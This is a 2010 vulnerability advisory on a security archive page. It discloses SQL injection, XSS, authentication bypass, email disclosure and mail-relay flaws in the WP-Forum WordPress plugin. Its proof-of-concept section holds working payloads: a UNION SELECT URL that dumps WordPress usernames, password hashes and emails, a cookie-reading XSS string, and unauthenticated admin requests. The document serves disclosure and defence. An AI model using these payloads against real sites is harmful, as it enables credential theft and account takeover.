what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WP-Forum Cross Site Scripting / SQL Injection

WP-Forum Cross Site Scripting / SQL Injection
Posted Dec 20, 2010
Authored by Charles Hooper

The WP-Forum plugin for WordPress suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 0dfc411626e4a474163049ac7766679d0a32e891805a2d72640c359323915816

WP-Forum Cross Site Scripting / SQL Injection

Change Mirror Download
Multiple Vulnerabilities in WP Forum (WordPress Plugin)

1. Advisory Information

Title: Multiple Vulnerabilities in WP-Forum
Advisory URL: http://www.charleshooper.net/advisories/
Date Published: 12/17/2010
Vendors Contacted: WordPress. Maintainer of plugin is unreachable.


2. Summary

WP Forum is a plugin for the popular blog tool and publishing platform,
WordPress.
The author of WP Forum describes it as a "Simple discussion forum
plugin" and
"easy to use and administer."

There exist multiple vulnerabilities in WP Forum. Basically, input
validation is not
performed at all resulting in SQL injection, stored XSS, and reflected
XSS vulns.

Furthermore, the author wrote the plugin under the assumption that it
would only be
executed within the context of the WordPress administrative panel,
thereby neglecting
to perform proper authentication and authorization.


3. Vulnerability Information

Packages/Versions Affected: Probably all, but confirmed only on WP Forum
1.7.8

3a. Type: SQL Injection [CWE-89]
3a. Impact: Read application data, bypass protection mechanism,
modify application data. There are multiple SQL injections
present
in WP Forum. The most prominent of which is the SQL
injection present
in the `group_login` functionality. Prior to logging in, an
attacker
can retrieve each group's passwords due to the vulnerability
listed
below (3b).

3b. Type: Plaintext Storage of a Password [CWE-256]
3b. Impact: Password is easily retrieved from database

3c. Type: XSS (Stored or Reflected) [CWE-79]
3c. Impact: Execute unauthorized code or commands

3d. Type: Auth Bypass via Direct Request [CWE-425]
3d. Impact: Many or all of the administrative functions assume they are
running
in the context of the WordPress administrative section. As a
result,
they often do not check that the user is authenticated or
authorized
to perform a particular action. Example functionality
includes adding
or removing forum moderators and deleting forums. This
vulnerability
could lead to information exposure, privilege escalation, or
data loss.

3e. Type: Information Exposure Through Sent Data [CWE-201]
3e. Impact: `sendmail.php` discloses users' email addresses by accepting
a user-
provider "user" variable and returns a hidden <input/> tag
containing
that user's email address.

3f. Type: External Control of Assumed-Immutable Web Parameter [CWE-472]
3f. Impact: `sendmail.php` accepts user-provided input allowing it to be
used as
an email relay


4. PoC & Technical Description

Due to the number of vulnerabilities in this package, I will not discuss
each one
individually. Instead, here are some sample POCs. Many more exploitable
vulns exist
in this package than what I am providing here.

4a.
http://path.to/wordpress/?page_id=<forum>&forumaction=group_login&group_id=0%20UNION%20SELECT%20CONCAT_WS%28CHAR%2858%29,user_login,user_pass,user_email%29%20FROM%20wp_users%20LIMIT%201%20%23
or (goes for all POCs):
http://path.to/wordpress/<forum>?forumaction=group_login&group_id=0%20UNION%20SELECT%20CONCAT_WS%28CHAR%2858%29,user_login,user_pass,user_email%29%20FROM%20wp_users%20LIMIT%201%20%23
4b. N/A
4c.
http://path.to/wordpress/<forum>?forumaction=group_login&group_id=<script>alert(document.cookie);<%2fscript>
4d.
http://path.to/wordpress/wp-content/plugins/wpforum/wp-forum-manage.php?editgroupsubmit=true&group=<group
id>&groupname=<new group name>&passwd=<new group password>
4e.
http://path.to/wordpress/wp-content/plugins/wpforum/sendmail.php?user=<user
id> (email address will be in HTML source)
4f. POST 'submit=true&sender=<from address>&email=<to
address>&message=<body>&subject=<subject>&replyto=<replyto>
to http://path.to/wordpress/wp-content/plugins/wpforum/sendmail.php
(untested)


5. Report Timeline

12/10/2010 Initial email sent to WordPress security.
12/10/2010 Maintainer not yet contacted as project appears abandoned and
maintainer
does not have listed contact information.
12/17/2010 No reply from WordPress security. Advisory released.


6. References

6a. The WordPress Plugin page for WP Forum:
http://wordpress.org/extend/plugins/wpforum/

6b. The WordPress Profile page for the author of the plugin:
http://profiles.wordpress.org/users/fahlstad/

6c. The plugin author's website:
http://www.fahlstad.se/


7. Legalese

This vulnerability report by Charles Hooper < chooper@plumata.com > is
licensed under a Creative Commons Attribution-NonCommercial-ShareAlike
3.0 Unported License.


8. Signature

Public Key: Obtainable via pool.sks-keyservers.net

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close